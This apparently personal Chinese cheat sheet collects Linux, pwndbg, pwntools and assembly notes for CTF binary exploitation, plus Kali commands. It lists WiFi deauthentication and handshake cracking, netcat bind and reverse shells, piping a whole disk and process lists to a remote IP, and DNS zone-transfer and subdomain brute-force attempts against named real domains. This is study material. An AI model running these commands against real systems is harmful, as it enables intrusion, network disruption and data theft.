0%
linux终端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
|
$ ls $ ll ...... $ pwd $ vim <文件名> $ chmod 777 <文件名> $ rm -r <目录名> $ rm <文件名> $ cd / $ cd ../ $ cd <目录名> $ cp ./<文件名> <目标路径>/ $ mv <原文件名> <想要修改成的文件名> $ mv <文件/目录名> <想要移动至的目录>/[想要修改成的文件/目录名] $ mkdir $ cat -n $ history $ su root $ whereis <文件名> $ sudo <指令> $ sudo apt-get update $ apt install <软件包名> $ sudo passwd $ readelf -a <二进制文件> $ history | grep proxy $ who /var/log/wtmp
$ gcc stack.c -fno -stack -protector -no -pie -o stack $ gcc <文件名>.c -o <二进制文件名> $ gcc -g <文件名>.c -o <binary> $ gcc -m32 <xx.c> -o <xx> $ ldd <二进制文件> $ strace ./<二进制文件> $ ltrace ./<二进制文件>
$ netstat -aptn $ netstat -rn $ netstat -pantu | grep 333 $ base64 $ ssh <用户名>@<ip> $ scp <用户名>@<ip地址>:<服务器文件位置的绝对路径> <接收路径> $ scp <本地文件> <用户名>@<ip地址>:<服务器接收位置的绝对路径> $ scp ./server_proxy.c root@45.77.47.112:/home/ubuntu/xy666/xy/ $ netstat -anp | grep <端口> $ kill -9 <PID>
$ -z execstack / -z noexecstack (NX开启/关闭) $ -fno-stack-protector /-fstack-protector /-fstack-protector-all (Canary关闭/开启/全开启) $ -no-pie / -pie (PIE关闭/开启) $ -z norelro /-z lazy /-z now (RELRO关闭/部分开启/完全开启)
$ ll | grep 1 $ ll > <文件名>
$ reboot $ halt
$ pstree -aup $ top $ ps -elf $ ps -elf
$ tar -zxvf <文件名>.tar.gz $ unzip <文件名>.zip $ 7z x <文件名>.zip $ unrar x <压缩包名>.rar
$ tar -zcvf <压缩包名>.tar.gz [文件名] [目录名] $ zip -r <压缩包名>.zip <文件/目录名> $ rar a -r <压缩包名>.rar <文件/目录名>
$ firewall-cmd --state $ firewall-cmd --list-port $ firewall-cmd --permanent --add-port=443/tcp $ firewall-cmd --reload $ firewall-cmd --query-port=443/tcp $ firewall-cmd --permanent --remove-port=443/tcp $ systemctl start firewalld $ systemctl stop firewalld $ systemctl status firewalld
$ objdump -dj .plt ret2libc2 $ objdump -h <可执行文件>
$ ROPgadget --binary ret2libc2 --only "pop|ret" $ ROPgadget --binary ./chall | grep rdi $ one_gadget ../lib/libc.so.6
链接:https://www.jianshu.com/p/55fa36123960 $ scp -P<端口> <网站>:<文件> <本地目录> $ scp -P2222 passcode@pwnable.kr:passcode ./
$ patchelf --replace-needed <当前链接的库文件> <想要更换为的库文件> <二进制文件> $ patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn1 $ patchelf --replace-needed /lib/x86_64-linux-gnu/libc.so.6 ./libc-2.27.so ./unexploitable
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
$ proxychains <git指令> $ proxychains git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ whoami
|
pwndgb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
|
pwndbg> b main pwndbg> r pwndbg> ni pwndbg> si pwndbg> p pwndbg> i b pwndbg> vmmap pwndbg> cyclic 200 pwndbg> cyclic -l <数据> pwndbg> b *<地址> pwndbg> x/130wx <地址> pwndbg> i all-registers pwndbg> got pwndbg> elf
pwndbg> start pwndbg> bt pwndbg> p <函数名> pwndbg> c pwndbg> d pwndbg> disass
pwndbg> l pwndbg> fi pwndbg> j pwndbg> q pwndbg> u
pwndbg> set $eip = 0x8048300 pwndbg> p $eip pwndbg> x/i $eip
pwndbg> top_chunk pwndbg> vmmap pwndbg> bin
pwndbg> file ./<二进制文件名> pwndbg> x/250gx <地址> pwndbg>
|
exp
1 2 3 4 5 6 7 8
|
from pwn import* from LibcSearcher import LibcSearcher import sys
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| sh = process('本地文件') sh = remote("ip地址",端口号) sh.close()
def <函数名>(参数1,参数2,...,参数n)
gdb.attach(io,'b* 0x08048598 \n c') #开启gdb调试,在0x08048598下断点并继续执行 sleep(3) shellcode = asm("汇编代码") #汇编转二进制
elf = ELF('./<二进制文件名>') <函数名>_plt = elf.plt['<函数名>'] read_got = elf.got['read'] main_adr = elf.symbols['_start'] bss_adr = elf.bss()
p.sendlineafter('字符串',data)#在遇到字符串后发送数据data p.sendafter('字符串',data) #在遇到字符串后发送数据data
p.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用
|
参考链接:简书
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| rop.raw("a"*10)
print rop.dump()
rop.call('read',[1,2,3]) print rop.dump() 0x0000: 'aaaa' 'aaaaaaaaaa' 0x0004: 'aaaa' 0x0008: 'aaaa' 0x000c: 0x80483a0 read(1, 2, 3) 0x0010: 'eaaa' <return address> 0x0014: 0x1 arg0 0x0018: 0x2 arg1 0x001c: 0x3 arg2
pop ebp; ret 如果此处换成其他地址,则栈就被迁移到另外一个地方去了 https://www.jianshu.com/p/0d45e2025d97
|
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ python3 $ python $ python3 <文件名>.py >>> from pwn import * >>> from LibcSearcher import LibcSearcher >>> cyclic(200) >>> cyclic_find('aaag') >>> print('a'*100)
>>> import pwn >>> dir(pwn) >>> help(pwn.process)
|
汇编指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| 数据传送与访问:mov
算术运算与逻辑运算: inc/dec #操作数±1 add/sub #长度相同的操作数相加减 and/or #按位逻辑与/或 mul #乘法操作 xor #异或操作,常用做寄存器值置零 cmp #比较两个值 neg #将操作数转换为二进制补码,并将操作数的符号位取反 跳转指令与循环指令: jmp #无条件跳转指令,一般需要使用一个标号来标识,可以实现循环 LOOP #循环指令,每循环一次循环计数寄存器减1 je #条件跳转,链接:https://blog.csdn.net/ssihc0/article/details/5215044 test #与AND命令有相同效果,只是Test指令不改变AX和BX的内容,而AND指令会把结果保存到AX中 栈与函数调用: push #入栈,详细操作P41 pop #从栈中pop一个值,给ebp 使用栈保存函数返回地址: call #call调用子函数时,下一条指令的地址作为返回地址存入栈中 #相当于 push IP # jmp near ptr 标号 这两条汇编 #https://blog.csdn.net/u013018721/article/details/51264199 ret #往栈上高地址一个单位取地址当做跳转地址 ******* #链接:https://blog.csdn.net/qq_37340753/article/details/81585083 其他: lea #官方解释Load Effective Address,即装入有效地址的意思,它的操作数就是地址 nop #空操作,链接:https://www.cnblogs.com/shangzhijian/p/4994028.html leave #mov esp,ebp和pop ebp #链接:https://blog.csdn.net/striver1205/article/details/25216699 #链接:https://blog.csdn.net/zhangxinrun/article/details/5888425 int 0x80 #系统调用
|
gdb
kali终端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156
| $ <指令> -h $ <指令> --help $ man <指令> $ info <指令>
$ ifconfig $ airmon-ng start wlan0 $ airodump-ng wlan0mon
$ airodump-ng --bssid <wifi的Mac地址> -c <信道号> -w <生成文件的存储路径> wlan0mon $ airodump-ng --bssid 74:54:27:90:AA:E2 -c 11 -w /home/xy666/Desktop/wifi/ wlan0mon $ aireplay-ng -0 <攻击次数> -a <wifi的Mac地址> -c <被攻击设备的Mac地址> wlan0mon $ aireplay-ng -0 20 -a 74:54:27:90:AA:E2 -c 04:10:6B:E6:A6:B0 wlan0mon $ aircrack-ng -w <字典路径> <生成的.cap文件路径> $ aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/xy666/Desktop/wifi/-56.cap
$ nc -vn <ip> <端口> $ ls | nc -vn 192.168.0.5 1724 $ nc -vn 123.125.50.29 110
$ nc -l -p <端口> $ ll | nc -nv <ip> <port> $ ps aux | nc -nv <ip> <port> $ nc -lp <port> > 1.mp4 $ nc -nv <ip> <port> < 1.mp4 -q 1 $ nc -q 1 -lp <port> < a.mp4 $ nc -nv <ip> <port> > 2.mp4 $ tar -cvf - music/ | nc -lp <port> $ nc -nv <ip> <port> | tar -xvf - $ nc -lp <port> | mcrypt --flush - Fbqd -a rijndael-256 -m ecb > 1.mp4 $ mcrypt --flush - Fbqd -a rijndael-256 -m ecb < a.mp4 | nc -nv <ip> <port> $ cat 1.mp4 | nc -lp 333 $ nc -nv <ip> <port> | mplayer -vo xll -cache 3000 - ** $ nc -nvz <ip> <端口范围> $ nc -vnzu <ip> <端口范围> $ nc -lp <port> | dd of=/dev/sda $ dd if=/dev/sda | nc -nv <ip> <port> ** $ nc -lp <port> -c bash $ nc <ip> <port> $ nc -lp <port> $ nc <ip> <port> -c bash <!--假如防火墙禁用了所有外来访问用户的流量,只允许一个80端口访问用户, 那么黑客没法通过正向方法来获取用户的shell, 只能反向让用户自己启动电脑时交出shell。 正向时用户作为服务器端开启shell端口,黑客作为用户端连接shell端口获取shell。 反向时黑客作为服务器端开启获取shell的端口, 用户启动机器时加载黑客修改后的etc/init.d目录中 的文件时主动向黑客的服务器端交出shell。 反向利用的前提条件是黑客之前就通过其他漏洞入侵过用户的机器并修改了etc/init.d 这个应该就是别人常说的反弹shell 当然,若网络管理员安全意识较高,设置防火墙禁止了用户所有对外访问的流量, 那黑客也就无法再利用反弹shell了。 --> $ ncat -c bash --allow <ip> -vnl <port> --ssl $ ncat -nv <ip> <port> --ssl
$ tcpdump -i eth0 -s 0 -w file.pcap $ tcpdump -A -r file.pcap $ tcpdump -i eth0 port 22 $ tcpdump -r file.pcap $ tcpdump -n -r http.cap | awk '{print $3}' | sort -U $ tcpdump -n src host 145.254.160.237 -r http.cap $ tcpdump -n dst host 145.254.160.237 -r http.cap $ tcpdump -n port 53 -r http.cap $ tcpdump -nX port 80 -r http.cap
$ nslookup > www.sina.com > type=a > server 202.106.0.20 spf $ nslookup -q=any 163.com 114.114.114.114 $ nslookup -type=ns example.com 156.154.70.22 $ dig sina.com any @8.8.8.8 $ dig sina.com ns $ dig mail.163.com any $ dig +noall +answer mail.163.com any | awk '{print $5}' $ dig 163.com mx $ dig @8.8.8.8 www.sina.com mx $ dig www.sina.com any $ dig +noall +answer -x 8.8.8.8 $ dig -x 220.181.14.157 $ dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com $ dig +noall +answer txt chaos VERSION.BIND @ns2.sina.com <!--一般用户不需要知道版本信息,而黑客可以利用,所以通常禁止输出版本信息,导致查不到--> $ dig +trace www.sina.com $ dig @nsl.example.com example.com axfr $ host -T -l sina.com ns3.sina.com $ fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist <字典所在目录的路径>/a.txt $ dpkg -L fierce $ more /usr/lib/python3/dist-packages/fierce/lists/20000.txt $ cat /usr/lib/python3/dist-packages/fierce/lists/20000.txt | grep www $ dnsdict6 -d4 -t 16 -x xina.com $ dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml $ dnsmap sina.com -w dns.txt $ dnsrecon -d sina.com --lifetime 10 -t brt -D dnsbig.txt $ dnsrecon -t std -d sina.com
|
widows命令行
1 2 3
| win+R 打开cmd (shutdown.exe /r /o /f /t 00、regedit、dxdiag) > ipconfig > ping <ip/域名>
|